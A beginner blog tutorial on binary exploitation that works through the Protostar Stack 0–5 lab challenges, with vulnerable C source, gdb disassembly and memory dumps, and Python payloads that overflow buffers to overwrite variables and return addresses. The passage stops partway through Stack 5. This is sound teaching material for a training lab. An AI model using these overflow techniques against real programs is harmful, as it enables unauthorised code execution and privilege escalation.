INTRO TO PWN: PROTSTAR-STACKS

Nithilan Pugal
ZH3R0
Published in
40 min readMay 3, 2020
Credits: Bit Canon

What is pwning??? Binary exploitation??? WHAT???

This blog is an intro to Pwning and it is to teach beginners from the basics. I found many places of great resources for pwning and I thought why not add my experience to help others. I hope this absolutely helps. If you have any questions you can contact me.

-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

Pwning is when you breach or exploit a programming using it’ vulnerabilities to gain root privileges — in a system — or gain access to a program not available to the general public — like your email.

The first most common vulnerabilities or way of exploitation which you will learn as a beginner is through the Stack. That is Stack Overflow or SMASHING THE STACK!!!!!

— — ____ — — ____

What is the heck is a Stack???

The Stack is a is a very special region of memory in a computer. It stores temporary variables created by each function when that function is called in a program. So every time a function is called the variables and parameters are “pushed” onto the stack and when the function is done then it is “popped” off the stack.

Imagine the Stack like the stack of plates in a cafeteria, each plate is a temporary variable or parameter which has been “pushed” onto the stack when that function is called. When the function is finished with the task it will “pop” off all the variables and parameters it has used. Like any other cafeteria and in the Stack, the plates — each variable — are added and removed from the top of the Stack.

So we will first be using x86 architecture — 32 bit. So there are a few important things you need to know about x86 Stack:
~The addresses to the stack will be small — 8 hex digits — since it is a 32 bit system
~There are 3 important registers you need to know about when you start analyzing and exploiting programs:

— esp register: It is a register which contains the address which points to the top of the Stack

— eip register: It contains the address of the current instruction of a function which is going to be executed

— ebp register: It contains the address which is the base of a function, like the point of reference. When a function is called first ebp register is “pushed” onto the Stack and then everything else. ebp register is used as a point of reference for all variables of that function. It acts like a framework where that function is used so it does not disturb the whole Stack.

Here how it would look like:

As you can see here the esp register points to the top of the stack while the ebp register is at the bottom of the framework which acts as a reference and base point for the current function which was called. In this case main() was called, rip register is at the function
currently pointing to the current instruction. The ??? below ebp register shows other things in the stack which are not part of the main() function.

Now you understand how the Stack works!!!!!!!

Tools you need to start are :
— VM Virtual box: https://www.virtualbox.org/wiki/Downloads
— Protostar iso: http://exploit-exercises.lains.space/download/

**Downloading VirtualBox may vary from each distribution of Linux so make sure to check that out. IF WINDOWS, GET OUTTA HERE!!!!

Install Virtual Box and connect the iso file and start the Virtual Machine instance of Protostar.

protostar login:user
password:user
$ bash #type bash for /bin/bash
user@protostar:~$ ip addr #type ip addr to get the ip addr. to
# SSH into it from your terminal

As you can see at the 3rd section the ip address of my Virtual Machine is:

inet 192.168.56.101/24....

**The ip address for a machine may vary on the system

Next I will SSH into the machine because it will not lag as much instead when using the Virtual Machine. This will also allow us to keep more than one terminal instance connect to the VM.

Open 2 terminal instances and SSH into it:

ssh user@192.168.56.101   

at:

user@192.168.56.101’s password:

make sure to use the password “user”

All problems in protostar will be located at the /opt/protostar/bin.
Using one Terminal instance(T1):

user@protostar:~$ cd /opt/protostar/bin

And the other Terminal instance(T2):

user@protostar:~$ cd /tmp  #temporary direc. where we can write our 
# exploits

T1:

user@protostar:/opt/protostar/bin$ ls -la 
#to get list of challenges

NOW LETS GET STARTED!!!!!!!!!!!!!!!!!!

……………

………………..

……………………….

.

STACK 0:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

modified = 0;
gets(buffer);

if(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}

This is the C file of the first Stack problem which can be found on: https://exploit-exercises.lains.space/protostar/stack0/

As you can see:

char buffer[64]; #defines a buffer of 64 bytes which takes in charsmodified = 0; #defines a variable which can be modifiedgets(buffer); #gets input from a user and puts it in the bufferif(modified != 0) {
printf("you have changed the 'modified' variable\n");
} else {
printf("Try again?\n");
}
}

Now taking a look at the IF statement:
— If modified is NOT EQUAL to 0 only then “You have changed the ‘modified’ variable” is printed out. ELSE “Try Again” is printed
— Thus this means we have to somehow change the ‘modified’ variable

Now let us look at the function ‘gets’:

~$ man gets  #this will give information about the 'gets' function

Scroll down to Bugs section:

BUGS
Never use gets(). Because it is impossible to tell without knowing the data in advance how many characters gets() will read, and because gets() will continue to store characters past the end of the buffer, it is extremely dangerous to use. It has been used to break computer security.....

Hmmmmm… Looking at the sentence above. What can you tell??

‘gets’ will take in all the character input into ‘gets’ and will continue storing characters past the end of the buffer. So if we write a lot of characters to ‘gets’ it will overwhelm and SMASH THE STACK!!!!
Now lets try that on T1:

user@protostar:/opt/protostar/bin$ ./stack0
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable

YAY WE DID IT!!!!! We input in so many characters that it was more than 64 byte char buffer that the ’gets’ kept on writing on the stack after it finished writing on the buffer which changed the ‘modified’ variable since it was overwritten in ‘A’ or 0x41.

STACK 1:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];

if(argc == 1) {
errx(1, "please specify an argument\n");
}

modified = 0;
strcpy(buffer, argv[1]);

if(modified == 0x61626364) {
printf("you have correctly got the variable to the right value\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}
}

This is the C file for Stack1 now lets take a look at it.

As you can see it still holds the same vulnerability as before:

strcpy(buffer, argv[1]);

‘argv’ will take in number of characters in the beginning of the program and all of it copied to the buffer using ‘strcpy’ and if it exceeds the buffer limit it will then overwrite variables on the stack.

So know looking at the if statement: ONLY IF modified = 0x61626364 will we get "you have correctly got the variable to the right value"printed out.

Thus we have to calculate our offset or the number of bytes from where to input starts till the variable we have to change. Let us take a look at the program in gdb.

user@protostar:/opt/protostar/bin$ gdb stack1
...
(gdb) info functions # info functions show the functions in the
.... # program

(gdb) set disassembly-flavor intel # this set the assembly
# language in which the program is
# disassembled in as intel syntax

(gdb) b*main #sets a breakpoint at main
(gdb) disassemble main #disassembles the main function
0x08048464 <main+0>: push ebp
0x08048465 <main+1>: mov ebp,esp
0x08048467 <main+3>: and esp,0xfffffff0
0x0804846a <main+6>: sub esp,0x60
0x0804846d <main+9>: cmp DWORD PTR [ebp+0x8],0x1
0x08048471 <main+13>: jne 0x8048487 <main+35>
0x08048473 <main+15>: mov DWORD PTR [esp+0x4],0x80485a0
0x0804847b <main+23>: mov DWORD PTR [esp],0x1
0x08048482 <main+30>: call 0x8048388 <errx@plt>
0x08048487 <main+35>: mov DWORD PTR [esp+0x5c],0x0
0x0804848f <main+43>: mov eax,DWORD PTR [ebp+0xc]
0x08048492 <main+46>: add eax,0x4
0x08048495 <main+49>: mov eax,DWORD PTR [eax]
0x08048497 <main+51>: mov DWORD PTR [esp+0x4],eax
0x0804849b <main+55>: lea eax,[esp+0x1c]
0x0804849f <main+59>: mov DWORD PTR [esp],eax
0x080484a2 <main+62>: call 0x8048368 <strcpy@plt>
0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c]
0x080484ab <main+71>: cmp eax,0x61626364

0x080484b0 <main+76>: jne 0x80484c0 <main+92>
0x080484b2 <main+78>: mov DWORD PTR [esp],0x80485bc
0x080484b9 <main+85>: call 0x8048398 <puts@plt>
0x080484be <main+90>: jmp 0x80484d5 <main+113>
0x080484c0 <main+92>: mov edx,DWORD PTR [esp+0x5c]
0x080484c4 <main+96>: mov eax,0x80485f3
0x080484c9 <main+101>: mov DWORD PTR [esp+0x4],edx
0x080484cd <main+105>: mov DWORD PTR [esp],eax
0x080484d0 <main+108>: call 0x8048378 <printf@plt>
0x080484d5 <main+113>: leave
0x080484d6 <main+114>: ret
#important addresses will be in BOLD...given by me not the program

So know let us analyze the assembly code of the disassembled main function of the program:

0x08048464 <main+0>: push ebp — As you can see when the function is called, first ebp register is pushed on the stack and it points to the point of reference for the function

0x08048482 <main+30>: call 0x8048388 <errx@plt> — If you look back at the C code of Stack1:

if(argc == 1) {
errx(1, "please specify an argument\n");
}
:It says when there is no input it will print an error message

0x080484a2 <main+62>: call 0x8048368 <strcpy@plt> — If you remember back to the C code:
strcpy(buffer, argv[1]);
As you can see the input is copied from ‘argv’ to the buffer, thus is how we are going to exploit it

0x080484a7 <main+67>: mov eax,DWORD PTR [esp+0x5c] — This moves the hex values stored at the address $esp+0x5c on the Stack to the eax register.

0x080484ab <main+71>: cmp eax,0x61626364 — This compares eax register to the 0x61626364 hex values. Depending on that will determine where is ‘jumps’ in the program.

Why don’t you find out how this ‘IF’ statement works and search up what ‘jne’ and ‘jmp’ is?

Now lets run the program!!!

(gdb) b*0x080484a2 #Sets breakpoint at STRCPY
(gdb) run AAAAAAAAAAA #This runs the program and gives input AAAA...
Starting program: /opt/protostar/bin/stack1 AAAAAAAAAAA
Breakpoint 1, main (argc=2, argv=0xbffff834) at stack1/stack1.c:7
7 in stack1/stack1.c
#As you can see we are currently at Breakpoint 1 which is the breakpoint we placed at the start of the main function(gdb) c #Continues the program until it reaches the next breakpoint
Continuing.
Breakpoint 2, 0x080484a2 in main (argc=2, argv=0xbffff844) at stack1/stack1.c:16
16 in stack1/stack1.c1.c
#Right now we are right before the STRCPY is executed type 'ni' for next instruction(gdb) ni#Now the STRCPY has been executed and move eax is about to be executed(gdb) x/40wx $esp #shows 40 places from $esp on the top
0xbffff730: 0xbffff74c 0xbffff97d 0xb7fff8f8 0xb7f0186e
0xbffff740: 0xb7fd7ff4 0xb7ec6165 0xbffff758 0x41414141
0xbffff750: 0x41414141 0x00414141 0xbffff768 0x08048334
0xbffff760: 0xb7ff1040 0x080496fc 0xbffff798 0x08048509
0xbffff770: 0xb7fd8304 0xb7fd7ff4 0x080484f0 0xbffff798
0xbffff780: 0xb7ec6365 0xb7ff1040 0x080484fb 0x00000000
0xbffff790: 0x080484f0 0x00000000 0xbffff818 0xb7eadc76
0xbffff7a0: 0x00000002 0xbffff844 0xbffff850 0xb7fe1848
0xbffff7b0: 0xbffff800 0xffffffff 0xb7ffeff4 0x08048281
0xbffff7c0: 0x00000001 0xbffff800 0xb7ff0626 0xb7fffab0
#Can you find the 'A's which we input in?? We found were the input starts, which is at the end of 0xbfff740 row. Now to find where esp+0x5c is. We can use the same command as before(gdb) x $esp+0x5c #prints where and what is in this address on the
0xbffff78c: 0x00000000 #Stack

#Where is 0xbffff8c?

**remember this is hexadecimal not denary number sytem**

Let us look at the 0xbffff780 row. Lets count from each place from 0 to c. When we reach c we see that it is at the end of the row with 0x00000000. Now let us calculate the offset from the input starting to $esp+0x5c. 16X4 = 64 bytes or 64 A’s and then add the address 0x61626364.

Now quit from gdb using quit. Now let us make a input using python and pipe it into the functions:

So we know we need 64 bytes or 64 A’s from the input to $esp+0x5c and then we must add 0x61626364 with our 64 A’s such that overwrites the $esp+0x5c and makes that “IF” statement true. Rememeber this program — and most programs — follow the little endian way of coding. Meaning when putting in an input, it will be reversed. Eg:

(gdb) run ABCD
Breakpoint 2
(gdb) x/24wx $esp
0xbffff740: 0xb7fd7ff4 0xb7ec6165 0xbffff758 0x44434241

As you can see it is reversed and put in. Thus we must reverse 0x61626364 and input it in with the offset.

Did any of you notice what 0x61, 0x62, 0x63 and 0x64 means???

Yup that is right a, b, c and d. Thus the exploit would be 64 A’s and ‘dcba’ and this would overwrite the offset to show 0x61626364. Now let us do this uing python:

user@protostar:/opt/protostar/bin$ 
./stack1 $(python -c 'print "A"*64 + "dcba"')
you have correctly got the variable to the right value

YAY!!!!! We did it!!!

Now you might be wondering what I did:
./stack1 : executes the stack1 binary
$ : tells to execute the next part as a bash command and take its output as the input for ./stack1
() : takes what is in between the brakets as one whole
python
: calls upon python2
-c : means command or execute what comes in between ‘ ‘

STACK 2:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
volatile int modified;
char buffer[64];
char *variable;

variable = getenv("GREENIE");

if(variable == NULL) {
errx(1, "please set the GREENIE environment variable\n");
}

modified = 0;

strcpy(buffer, variable);

if(modified == 0x0d0a0d0a) {
printf("you have correctly modified the variable\n");
} else {
printf("Try again, you got 0x%08x\n", modified);
}

}

This is the C code of Stack2 now let us take at a look at it.

If we think back to the last Stack problem we can spot the same vulnerability? Can you find it?
Yup you are correct: strcpy(buffer, variable);
As you can remember strcpy is like ‘gets’ , it copies everything from the ‘variable’ to ‘buffer’ without checking how big it is.

Now let us check what is the variable:
variable = getenv("GREENIE");
Here you can see the ‘variable’ takes the input as the value of the environment variable ‘GREENIE’. Let us see if ‘GREENIE’ environment variable is defined in our machine

user@protostar:/opt/protostar/bin$ printenv

Try looking for the environment variable. Another easier way of searching is

user@protostar:/opt/protostar/bin$ printenv | grep "GREENIE"

Hmmmm…No output. That means the ‘GREENIE’ environemnt variable does not exist. This means we have to set an environment variable named GREENIE. How do we do that??

We must export the environment variable with it’s value

export GREENIE="whatever"

We can export and set a variable GREENIE like this.

So since the vulnerability like in Stack 1 is like this. Our exploit must be through by setting the GREENIE environment variable which contains the value as our script for exploitation.

Let us look at the “IF” condition:
if(modified == 0x0d0a0d0a)
So ‘IF’ the ‘modified’ variable is overwritten as 0x0d0a0d0a only then we get the correct output.

Now let us put together a script. First let us check if shell script and python works:

user@protostar:/opt/protostar/bin$ export GREENIE=$(python -c "print 'Hello' " )
user@protostar:/opt/protostar/bin$ printenv | grep "GREENIE"
GREENIE=Hello

Yay!!! Both shell script and python works. So building on our script from last vulnerability we can see that a buffer of the size of 64 bytes is made in the C program and thus we know that our offset is 64, and now the bytes which are our payload which overwrites the ‘modified’ variable to 0x0d0a0d0a.

When converting a hex to little endian we reverse the hex by 2s and add \x like this: 0x0d0a0d0a = \x0a\x0d\x0a\x0d, I have differentiated the 0a so you can tell.

Thus our exploitation would be:

export GREENIE=$(python -c "print 'A'*64 + '\x0a\x0d\x0a\x0d' ")

Now run the above script and then:

user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

YAY!!!! We correctly modified the variable through the environment variable!!!!!

**Rememeber to unset your environment variable as it may cause problems with other exploits which you will find out later why: unset GREENIE

STACK 3:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
volatile int (*fp)();
char buffer[64];

fp = 0;

gets(buffer);

if(fp) {
printf("calling function pointer, jumping to 0x%08x\n", fp);
fp();
}
}

This is the C code for Stack 3. Now let u take a look at it.

When you look at this what is the first thing you spot???
It is SIMILAR to Stack 0 instead of a ‘modified’ variable there is a fp variable or function pointer. We now have to exploit the program and overwrite the fp variable on the stack such that when the fp() is called it then jumps to the win() function.

Now me must find the address of the win() function

We analyze like we have done before, look at the functions and set a breakpoint at main and change disassemble language to intel

(gdb) x win  #this shows the address of the function
0x8048424 <win>: 0x83e58955

As we can see here the win() function is at the address 0x8048424. Now let us disassemble main to check our offset to make sure that it is 64 or more because environment variables are also stored on the stack.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048438 <main+0>: push ebp
0x08048439 <main+1>: mov ebp,esp
0x0804843b <main+3>: and esp,0xfffffff0
0x0804843e <main+6>: sub esp,0x60
0x08048441 <main+9>: mov DWORD PTR [esp+0x5c],0x0
0x08048449 <main+17>: lea eax,[esp+0x1c]
0x0804844d <main+21>: mov DWORD PTR [esp],eax
0x08048450 <main+24>: call 0x8048330 <gets@plt>
0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x0804845a <main+34>: je 0x8048477 <main+63>
0x0804845c <main+36>: mov eax,0x8048560
0x08048461 <main+41>: mov edx,DWORD PTR [esp+0x5c]
0x08048465 <main+45>: mov DWORD PTR [esp+0x4],edx
0x08048469 <main+49>: mov DWORD PTR [esp],eax
0x0804846c <main+52>: call 0x8048350 <printf@plt>
0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>: call eax

0x08048477 <main+63>: leave
0x08048478 <main+64>: ret

0x08048450 <main+24>: call 0x8048330 <gets@plt> — This calls the ‘gets’ function and takes our input.

0x08048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0 — This compares 0x0 with what is in the address at $esp+0x5c

0x0804845a <main+34>: je 0x8048477 <main+63> — If the above checks as TRUE you jump to <main+36> ELSE move to the next intruction

0x08048471 <main+57>: mov eax,DWORD PTR [esp+0x5c] — What is at the address $esp+0x5c is moved to the eax register

0x08048475 <main+61>: call eax — Then eax is called

Thus what we can infer from this is that fp is $esp+0x5c now we must find the offset to the fp. Lets define a hook stop which will automate a process of a few functions we always like to call:

(gdb) define hook-stop
>info registers #prints the values of each register
>x/32wx $esp
>x/2i $eip #prints the current and next intruction of $eip
>end

Now lets run the program:

(gdb) run

Now we are currently at the Breakpoint 1, at main. Keep doing “ni” — next instruction — to see how the program progress as each instruction is executed and see the changes on the Stack. Continue until you reach ‘gets’ is about to be called:

eax            0xbffff75c       -1073744036
ecx 0x5c3dab17 1547545367
edx 0x1 1
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff740 0xbffff740
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x8048450 0x8048450 <main+24>
eflags 0x200282 [ SF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff740: 0xbffff75c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0xb7fd7ff4 0x0804967c 0xbffff778 0x0804830c
0xbffff770: 0xb7ff1040 0x0804967c 0xbffff7a8 0x080484a9
0xbffff780: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffff7a8
0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000
0xbffff7a0: 0x08048490 0x00000000 0xbffff828 0xb7eadc76
0xbffff7b0: 0x00000001 0xbffff854 0xbffff85c 0xb7fe1848
0x8048450 <main+24>: call 0x8048330 <gets@plt>
0x8048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x08048450 18 in stack3/stack3.c

When you enter “ni” now input in AAAAAAAA

AAAAAAAA
eax 0xbffff75c -1073744036
ecx 0xbffff75c -1073744036
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff740 0xbffff740
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x8048455 0x8048455 <main+29>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff740: 0xbffff75c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff750: 0xb7fd7ff4 0xb7ec6165 0xbffff768 0x41414141
0xbffff760: 0x41414141 0x08049600 0xbffff778 0x0804830c
0xbffff770: 0xb7ff1040 0x0804967c 0xbffff7a8 0x080484a9
0xbffff780: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffff7a8
0xbffff790: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000
0xbffff7a0: 0x08048490 0x00000000 0xbffff828 0xb7eadc76
0xbffff7b0: 0x00000001 0xbffff854 0xbffff85c 0xb7fe1848
0x8048455 <main+29>: cmp DWORD PTR [esp+0x5c],0x0
0x804845a <main+34>: je 0x8048477 <main+63>
20 in stack3/stack3.c

So know we know where the input starts, lets find where fp is.

(gdb) x/wx $esp+0x5c
0xbffff79c: 0x00000000

Hmmm lets look at the 0xbffff790 row and voila!!! There are the end is 0x00000000. Now lets count how much our offset: 16X4 = 64 bytes. Remember it is always good to check the offset so you never mess up.

We have our offset and address of the win() let us now construct our scripting. This is where the 2nd Terminal tab or window will come in handy at the /tmp directory:
Now let us a create a script using python

user@protostar:/tmp$ vim exp.py

It is important to know what is VIM and how it works, if not go read up about it

Script:

offset = "A"*64
payload = "\x24\x84\x04\x08" #0x8048424
print (offset+payload)

Save and exit

user@protostar:/tmp$ python exp.py > exp

Turns exp.py into a executable which is piped into the exp executable. You can input this into gdb like:

(gdb) run </tmp/exp

and you look at the stack and keep executing you will see correct execution flow message being printed or:

user@protostar:/opt/protostar/bin$ python /tmp/exp.py | ./stack3
calling function pointer, jumping to 0x08048424
code flow successfully changed

YESSS!!! We successfully changed the code flow!!!!

STACK 4:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

This is the C program for Stack 4. Now let us analyze it.

If remember from the last few stacks our vulnerability was the ‘gets’ function. This time it is also the gets function. Now we do not have a variable to overwrite like the ‘modified’ or fp variable. Then how do we do it???
Let us first disassemble main() in gdb to get an idea:

(gdb) disassemble main
Dump of assembler code for function main:
0x08048408 <main+0>: push ebp
0x08048409 <main+1>: mov ebp,esp
0x0804840b <main+3>: and esp,0xfffffff0
0x0804840e <main+6>: sub esp,0x50
0x08048411 <main+9>: lea eax,[esp+0x10]
0x08048415 <main+13>: mov DWORD PTR [esp],eax
0x08048418 <main+16>: call 0x804830c <gets@plt>
0x0804841d <main+21>: leave
0x0804841e <main+22>: ret
End of assembler dump.

Hmmm… After ‘gets’ it leaves and then ‘ret’. What is ‘ret’??

The ret instruction transfers control to the return address located on the stack. This address is usually placed on the stack by a call instruction.

So ‘ret’ returns to a return address which is stored on the Stack because on the Stack all parameters and variables are stored on it. Thus using gets we can re-write that parameter. But how do we find it???

If you remember talking about break points where the eip register contains address of the current instruction which is about to be executed. Thus if we set a break point at ‘ret’ it would contain the address of ‘ret’ and if we did a single instruction — ‘si’ — not ‘ni’ — ‘ni’ is like a group of ‘si’s — that means the ‘ret’ is executed, thus it returns to the Stack and takes the address of the next function to call — or whatever the next thing is — which the address is stored on the Stack and is put into eip register since it is the current address which is about to be called onto the stack. So if we have a big enough offset to overflow the buffer and overwrite the address which is stored on the Stack when eip register comes to take that value it will try to jump to the hex value we have overwritten in. Like if it is overwritten in 0x41414141 then it will try to jump to that address and since it does not exist this will produce an error message.

Now let us make a script to find the offset from buffer to that address:

user@protostar:/tmp$ vim exp1.py

Now lets use python

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print (offset)

Save and quit

user@protostar:/tmp$ python exp1.py > exp1

Now lets go back to the terminal which we disassembled Stack 4 in gdb and run it with /tmp/exp1:

**make sure you have defined a hook stop and set a break point at main

(gdb) run </tmp/exp1

Now let us analyze it after the execution of ‘gets’

eax            0xbffff760       -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff750 0xbffff750
ebp 0xbffff7a8 0xbffff7a8
esi 0x0 0
edi 0x0 0
eip 0x804841d 0x804841d <main+21>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff750: 0xbffff760 0xb7ec6165 0xbffff768 0xb7eada75
0xbffff760: 0x41414141 0x42424242 0x43434343 0x44444444
0xbffff770: 0x45454545 0x46464646 0x47474747 0x48484848
0xbffff780: 0x49494949 0x4a4a4a4a 0x4b4b4b4b 0x4c4c4c4c
0xbffff790: 0x4d4d4d4d 0x4e4e4e4e 0x4f4f4f4f 0x50505050
0xbffff7a0: 0x51515151 0x52525252 0x53535353 0x54545454
0xbffff7b0: 0x55555555 0x56565656 0x57575757 0x58585858
0x804841d <main+21>: leave
0x804841e <main+22>: ret
16 in stack4/stack4.c
#After the execution of 'gets' now look at eip and see that the address it contains corresponds to the next intruction(gdb) ni
eax 0xbffff760 -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x804841e 0x804841e <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7ac: 0x54545454 0x55555555 0x56565656 0x57575757
0xbffff7bc: 0x58585858 0x59595959 0x5a5a5a5a 0xb7ffef00
0xbffff7cc: 0x0804824b 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0x7e45a2c5 0x5412b4d5
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff80c: 0x08048340 0x00000000 0xb7ff6210 0xb7eadb9b
0x804841e <main+22>: ret
0x804841f: nop
0x0804841e in main (argc=Cannot access memory at address 0x5353535b)
at stack4/stack4.c:16
16 in stack4/stack4.c
#As you can see that ebp register has been overwritten with ox53535353, ignore the 0x5353535b now let us go a single step(gdb) si
Cannot access memory at address 0x53535357
#Hmmm let us go one more si(gdb) si

Program received signal SIGSEGV, Segmentation fault.
eax 0xbffff760 -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7b0 0xbffff7b0
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x54545454 0x54545454
eflags 0x210246 [ PF ZF IF RF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7b0: 0x55555555 0x56565656 0x57575757 0x58585858
0xbffff7c0: 0x59595959 0x5a5a5a5a 0xb7ffef00 0x0804824b
0xbffff7d0: 0x00000001 0xbffff810 0xb7ff0626 0xb7fffab0
0xbffff7e0: 0xb7fe1b28 0xb7fd7ff4 0x00000000 0x00000000
0xbffff7f0: 0xbffff828 0x7e45a2c5 0x5412b4d5 0x00000000
0xbffff800: 0x00000000 0x00000000 0x00000001 0x08048340
0xbffff810: 0x00000000 0xb7ff6210 0xb7eadb9b 0xb7ffeff4
0x54545454: Error while running hook_stop:
Cannot access memory at address 0x54545454
0x54545454 in ?? ()

So as you can see that we have overwritten the address to which ‘ret’ uses to to call the next function. As we can see that the address which contains the address of the next function to be called is located right under ebp. Thus we overwrite ebp too. Now we can overwrite the return address to whatever address we want such that it returns to the address we want.

If we convert 0x54, we get ‘T’ so we know that the offset is 19X4 = 76 bytes so 64 bytes of the buffer + other parameters + 4 bytes of ebp.

Now let us first find the address of the win() function

(gdb) x win
0x80483f4 <win>: 0x83e58955

Now we got the address. We also have our offset, lets make the exploit:

user@protostar:/tmp$ vim exp1.py

exp1.py:

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS"
eip = "\xf4\x83\x04\x08" #0x80483f4
print(offset+eip)

now lets run it:

user@protostar:/opt/protostar/bin$ python /tmp/exp1.py | ./stack4
code flow successfully changed
Segmentation fault

YAY!!!! We successfully changed the code flow!!!!!

STACK 5:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
char buffer[64];

gets(buffer);
}

This is the C code for the Stack 5 program. Now let us analyze it.

We can see the same vulnerability here. ‘gets’. Now this will be our first standard buffer overflow where we have overflow the buffer and escalate our privileges to root.

So first things first we know that we need to overflow the buffer and change the return instruction pointer. But where do we jump to??

THE….STACK!!!! If you remember from last Stack that the return address is situated next to a call() function so we can overwrite this such that we can call any system call we want. So to check if things are executable in the stack we will use the int3 opcode \xcc. This is used be debuggers as a breakpoint to stop a process. Now let us first find the offset. Let us use the same script from above.

user@protostar:/tmp$ vim exp2.py

using the same script to find the offset:

offset = "AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSSTTTTUUUUVVVVWWWWXXXXYYYYZZZZ"
print (offset)

save and quit, pipe it into exp3

Now open the program in gdb, define a hook stop, set disassembly flavor to intel, etc. Now let us disassemble main:

(gdb) disassemble main
Dump of assembler code for function main:
0x080483c4 <main+0>: push ebp
0x080483c5 <main+1>: mov ebp,esp
0x080483c7 <main+3>: and esp,0xfffffff0
0x080483ca <main+6>: sub esp,0x50
0x080483cd <main+9>: lea eax,[esp+0x10]
0x080483d1 <main+13>: mov DWORD PTR [esp],eax
0x080483d4 <main+16>: call 0x80482e8 <gets@plt>
0x080483d9 <main+21>: leave
0x080483da <main+22>: ret
End of assembler dump.

now let us go ahead and go to ‘ret’

eax      0xbffff760    -1073744032
ecx 0xbffff760 -1073744032
edx 0xb7fd9334 -1208118476
ebx 0xb7fd7ff4 -1208123404
esp 0xbffff7ac 0xbffff7ac
ebp 0x53535353 0x53535353
esi 0x0 0
edi 0x0 0
eip 0x80483da 0x80483da <main+22>
eflags 0x200246 [ PF ZF IF ID ]
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
0xbffff7ac: 0x080483f4 0x00000000 0xbffff854 0xbffff85c
0xbffff7bc: 0xb7fe1848 0xbffff810 0xffffffff 0xb7ffeff4
0xbffff7cc: 0x08048232 0x00000001 0xbffff810 0xb7ff0626
0xbffff7dc: 0xb7fffab0 0xb7fe1b28 0xb7fd7ff4 0x00000000
0xbffff7ec: 0x00000000 0xbffff828 0x34cae5a8 0x1e9df3b8
0xbffff7fc: 0x00000000 0x00000000 0x00000000 0x00000001
0xbffff80c: 0x08048310 0x00000000 0xb7ff6210 0xb7eadb9b
0xbffff81c: 0xb7ffeff4 0x00000001 0x08048310 0x00000000
